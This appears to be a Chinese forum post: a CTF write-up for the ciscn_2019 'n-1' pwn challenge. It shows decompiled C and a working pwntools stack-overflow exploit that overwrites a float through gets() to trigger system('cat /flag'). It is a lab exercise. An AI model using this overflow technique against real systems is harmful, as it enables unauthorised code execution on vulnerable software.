查看: 77|回复: 1

[Pwn] ciscn_2019_pwn_n-1 wp by kone

[复制链接]

6

主题

9

帖子

1

精华

VIP

Rank: 16

学币
152
荣耀
0
rank
95
违规
0
发表于 7 天前 | 显示全部楼层 |阅读模式

相关题目:

♦ n-1

思路:
gets()存在栈溢出漏洞,尝试覆盖v2的值为11.28125

注意:
需要将float转换成hex


exp:
#-*- coding:utf-8 -*-
"""
// ciscn_2019_pwn_n-1 https://www.xuenixiang.com/ctfexercise-competition-416.html

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  func();
  return 0;
}

int func()
{
  int result; // eax
  char v1; // [rsp+0h] [rbp-30h]
  float v2; // [rsp+2Ch] [rbp-4h]

  v2 = 0.0;
  puts("Let's guess the number.");
  gets(&v1);
  if ( v2 == 11.28125 )
    result = system("cat /flag");
  else
    result = puts("Its value should be 11.28125");
  return result;
}
"""

from pwn import *
import sys

context(os="linux", log_level="debug")

def float_to_hex(f):
    return hex(struct.unpack('<I', struct.pack('<f', f))[0])

if len(sys.argv) == 2:
        p = process(sys.argv[1])
elif len(sys.argv) == 3:
        p = remote(sys.argv[1], sys.argv[2])
else:
    print("Usage: exp.py [./a.out | 1.1.1.1 23456]")
    exit(1)

p.recvuntil("Let's guess the number.\n")

# 0x41348000 = float_to_hex(11.28125)
payload = 'A' * 44 + "\x00\x80\x34\x41"

p.sendline(payload)

p.interactive()


温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的最好奖励,还可以获得学币奖励,请尊重作者的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
学逆向论坛-免费的逆向学习论坛
发表于 6 天前 | 显示全部楼层
很不错!继续努力,如果有需要,可以自己编译好题目提交平台,我可以帮你做成镜像保存,以后随时可以拿来实验
论坛交流群:672619046
微信公众号
快速回复 返回顶部 返回列表